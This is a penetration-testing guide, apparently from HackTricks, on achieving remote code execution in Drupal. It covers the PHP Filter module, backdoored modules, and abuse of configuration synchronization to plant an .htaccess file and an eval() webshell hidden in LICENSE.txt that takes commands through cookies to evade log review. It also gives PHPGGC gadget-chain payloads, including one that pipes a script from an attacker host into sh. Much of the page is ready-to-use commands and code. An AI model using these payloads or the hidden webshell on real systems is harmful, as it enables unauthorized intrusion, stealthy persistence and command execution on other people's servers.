Drupal RCE
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
With PHP Filter Module
Warning
In older versions of Drupal (before version 8), it was possible to log in as an admin and enable the
PHP filtermodule, which “Allows embedded PHP code/snippets to be evaluated.” But from version 8 this module is not installed by default.
- Go to /modules/php and if a 403 error is returned then the PHP filter plugin is installed and you can continue
- If not, go to
Modulesand check on the box ofPHP Filterand then onSave configuration
- If not, go to
- Then, to exploit it, click on
Add content, then SelectBasic PageorArticleand write the PHP backdoor, then selectPHPcode in Text format and finally selectPreview - To trigger it, just access the newly created node:
curl http://drupal.local/node/3
Install PHP Filter Module
Warning
In current versions it’s no longer possible to install plugins by only having access to the web after the default installation.
From version 8 onwards, the PHP Filter module is not installed by default. To leverage this functionality, we would have to install the module ourselves.
- Download the most recent version of the module from the Drupal website.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Once downloaded go to
Administration>Reports>Available updates. - Click on
Browse, select the file from the directory we downloaded it to, and then clickInstall. - Once the module is installed, we can click on
Contentand create a new basic page, similar to how we did in the Drupal 7 example. Again, be sure to selectPHP codefrom theText formatdropdown.
Backdoored Module
Warning
In current versions it’s no longer possible to install plugins by only having access to the web after the default installation.
It was possible to download a module, add a backdoor to it and install it. For example, downloading Trurnstile module in compressed format, creating a new PHP backdoor file inside of it, allowing the accessing of the PHP file with a .htaccess file:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
And then going to http://drupal.local/admin/modules/install to install the backdoored module and access /modules/turnstile/back.php to execute it.
Backdooring Drupal with Configuration synchronization
Post shared by Coiffeur0x90
Part 1 (activation of Media and Media Library)
In the Extend menu (/admin/modules), you can activate what appear to be plugins already installed. By default, plugins Media and Media Library don’t appear to be activated, so let’s activate them.
Before activation:
 (1) (1) (1) (1).png)
After activation:
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
 (1) (1) (1) (1) (1) (1).png)
Part 2 (leveraging feature Configuration synchronization)
We’ll leverage the Configuration synchronization feature to dump (export) and upload (import) Drupal configuration entries:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Patch system.file.yml
Let’s start by patching the first entry allow_insecure_uploads from:
File: system.file.yml
...
allow_insecure_uploads: false
...
 (1) (1) (1) (1) (1) (1).png)
To:
File: system.file.yml
...
allow_insecure_uploads: true
...
 (1) (1) (1) (1) (1).png)
Patch field.field.media.document.field_media_document.yml
Then, patch the second entry file_extensions from:
File: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
 (1) (1) (1).png)
To:
File: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
I don’t use it in this blogpost but it is noted that it is possible to define the entry
file_directoryin an arbitrary way and that it is vulnerable to a path traversal attack (so we can go back up within the Drupal filesystem tree).
 (1) (1) (1).png)
Part 3 (leveraging feature Add Document)
The last step is the simplest, and is broken down into two sub-steps. The first is to upload a file in .htaccess format to leverage the Apache directives and allow .txt files to be interpreted by the PHP engine. The second is to upload a .txt file containing our payload.
File: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
Why is this trick cool?
Because once the Webshell (that we’ll call LICENSE.txt ) is dropped onto the Web server, we can transmit our commands via $_COOKIE and in the Web server logs, this will show up as a legitimate GET request to a text file.
Why name our Webshell LICENSE.txt?
Simply because if we take the following file, for example core/LICENSE.txt (which is already present in the Drupal core), we have a file of 339 lines and 17.6 KB in size, which is perfect for adding a small snippet of PHP code in the middle (since the file is big enough).
 (1) (1) (1).png)
File: Patched LICENSE.txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Part 3.1 (upload file .htaccess)
First, we leverage the Add Document (/media/add/document) feature to upload our file containing the Apache directives (.htaccess).
 (1) (1) (1).png)
 (1) (1) (1).png)
 (1) (1) (1).png)
Part 3.2 (upload file LICENSE.txt)
Then, we leverage the Add Document (/media/add/document) feature again to upload a Webshell hidden within a license file.
 (1).png)
 (1).png)
 (1).png)
Part 4 (interaction with the Webshell)
The last part consists of interacting with the Webshell.
As shown in the following screenshot, if the cookie expected by our Webshell is not defined, we get the subsequent result when consulting the file via a Web browser.
 (1).png)
When the attacker sets the cookie, he can interact with the Webshell and execute any commands he wants.
 (1).png)
And as you can see in the logs, it looks like only a txt file has been requested.
 (1).png)
Thank you for taking the time to read this article, I hope it will help you get some shells.
Drupal core gadget chain (SA-CORE-2024-007 / SA-CORE-2024-008)
Two advisories published 20 Nov 2024 (CVE-2024-55637 & CVE-2024-55638) describe new PHP object gadget chains in Drupal core (7.0–7.101, 8.x, 10.2.0–10.2.10, 10.3.0–10.3.8, early 11.x). They are not directly exploitable but give attackers a ready-made chain once any contrib/module performs unserialize() on user input.
Practical exploitation workflow:
- Find the unserialize sink (contrib module or custom code). Grep codebase for
unserialize(orDrupal\Component\Serialization\PhpSerialize::decode. Target endpoints that accept POST/JSON or configuration imports. - Generate a payload using the vulnerable class path that matches the gadget chain. After SA-CORE-2024-008, the public chain was added to common payload generators. Example with PHPGGC (commit ≥ Dec 2024):
./phpggc drupal/rce2 system 'id' > payload.ser
- Deliver the serialized blob to the sink (e.g., parameter that gets deserialized). For a form-encoded body:
curl -X POST https://target/admin/config/some/module \
-d "serialized_setting=$(cat payload.ser)"
- Trigger destruction (often automatic at end of request) and execute the command.
Notes for testing:
- Gadget works only on versions prior to 10.2.11 / 10.3.9 / 7.102 (patched). Verify target version via
/core/lib/Drupal.phporCHANGELOG.txt. - Third‑party DB drivers may need extra hardening; look for deployments that skipped the security update window.
Recent contrib-module unsafe deserialization → RCE
Several contrib modules fixed insecure unserialize() paths in late 2024. If the site is missing these updates, they give you the exploitable sink required by the core gadget chain:
- Mailjet (<4.0.1, CVE-2024-13296): admin-controlled data passed to
unserialize(), enabling PHP Object Injection → RCE when chained with the core gadgets. - Eloqua (7.x-1.x < 1.15, CVE-2024-13297): similar unsafe
unserialize()usage reachable by users withaccess administration pages.
Testing idea (authenticated):
phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
curl -b session=ADMINCOOKIE \
-F "import=@p.ser" https://target/admin/config/eloqua/import
If the module deserializes the uploaded data, the gadget chain yields RCE. Combine with XSS/CSRF to steal admin cookies for a full attack chain.
References
- Drupal core – gadget chain – SA-CORE-2024-008
- Mailjet module – arbitrary PHP code execution – SA-CONTRIB-2024-062
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.


